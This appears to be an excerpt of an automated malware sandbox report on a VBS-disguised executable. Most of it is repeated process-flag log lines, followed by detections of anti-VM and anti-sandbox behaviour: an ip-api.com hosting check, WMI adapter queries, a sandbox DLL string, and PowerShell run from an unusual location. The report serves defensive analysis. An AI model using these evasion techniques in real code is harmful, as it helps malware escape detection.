Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: GRAINS.vbs.exe PID: 6872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xml.vbs.exe PID: 4884, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Powershell is started from unusual location (likely to bypass HIPS)

Source: c:\users\user\appdata\roaming\xml.vbs.exe	Key value queried: Powershell behavior
Source: c:\users\user\desktop\grains.vbs.exe	Key value queried: Powershell behavior			Jump to behavior

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1515150880.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004A28000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Memory allocated: 4EA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Memory allocated: 4EA0000 memory reserve \| memory write watch	Jump to behavior
